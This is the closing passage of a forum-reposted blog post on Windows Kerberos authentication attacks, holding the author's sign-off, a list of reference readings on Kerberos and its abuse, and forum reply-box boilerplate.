I’ve discussed how Kerberos works, tried to explain it as much as I can, discussed most of the attacks directly related to Kerberos authentication.
I tried to be straight to the point as much as I can along with illustrating the stuff that was once confusing to me, hopefully, I succeded doing so.
Probably I will continue with this series, so if you guys have any comments or suggestions, or found sth wrong in this blog post (Am sure I missed something around), feel free to reach me at @0x4148
Till next time,
Ahmed

References

How the Kerberos Version 5 Authentication Protocol Works
Kerberos Authentication Overview
Kerberos for the Busy Admin
Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol
SPNs
Kerberos Principal Name Canonicalization and Cross-Realm Referrals
The Kerberos Version 5
Abusing Kerberos
And almost every single blog at posts.specterops.io

Sursa: https://blog.redforce.io/windows-authentication-attacks-part-2-kerberos/#disqus_thread

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...